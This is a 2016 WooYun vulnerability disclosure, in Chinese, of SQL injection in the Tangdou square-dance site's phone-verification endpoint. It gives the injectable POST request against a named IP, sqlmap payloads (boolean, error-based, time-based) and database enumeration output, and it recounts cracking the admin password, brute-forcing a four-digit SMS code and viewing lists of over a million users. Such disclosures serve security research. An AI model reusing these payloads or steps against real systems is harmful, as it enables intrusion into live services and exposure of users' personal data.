当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193461

漏洞标题:糖豆广场舞SQL注入(涉及1176385用户信息)

相关厂商:糖豆广场舞

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2016-04-07 19:01

修复时间:2016-05-22 19:10

公开时间:2016-05-22 19:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如果百万用户还不能走首页 那么对乌云就真失望了

详细说明:

http://123.59.58.72/ 也就是等于 http://txd.tangdou.com

0.png


点击获取验证码处可注入

1.png


POST数据包:

POST /?action=chk_mobile HTTP/1.1
Host: 123.59.58.72
Content-Length: 17
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://123.59.58.72
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.11466.201 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://123.59.58.72/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=eaecm668tnrd64ai5ibl5fk2o0
Connection: close
phone=13800138000*


2.png


3.png


你以为就这么就完了?NO
看到admin 表就跑了下

4.png


解密了 admin 的密码后 登录后台(后台有手机短信验证码 猜测可能是4位数的 于是跑了下验证码 没想到真是4位数的 )
登录后台后 这是管理员列表

5.png


这是用户列表 证明的确是百万用户 而不是虚构的

7.png


6.png


福利

8.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 397 HTTP(s) r
equests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: phone=13800138000 OR NOT 3632=3632#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: phone=13800138000 AND (SELECT 5987 FROM(SELECT COUNT(*),CONCAT(0x71
71707a71,(SELECT (ELT(5987=5987,1))),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORM
ATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: phone=13800138000 AND (SELECT * FROM (SELECT(SLEEP(5)))wJyo)
---
[12:46:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.41
back-end DBMS: MySQL 5.0
[12:46:33] [INFO] fetching database names
[12:46:34] [INFO] the SQL query used returns 5 entries
[12:46:34] [INFO] starting 5 threads
[12:46:34] [INFO] retrieved: performance_schema
[12:46:34] [INFO] retrieved: information_schema
[12:46:34] [INFO] retrieved: mysql
[12:46:34] [INFO] retrieved: tangdouapp
[12:46:34] [INFO] retrieved: test
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] tangdouapp
[*] test
[12:46:34] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\123.59.58.72'

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)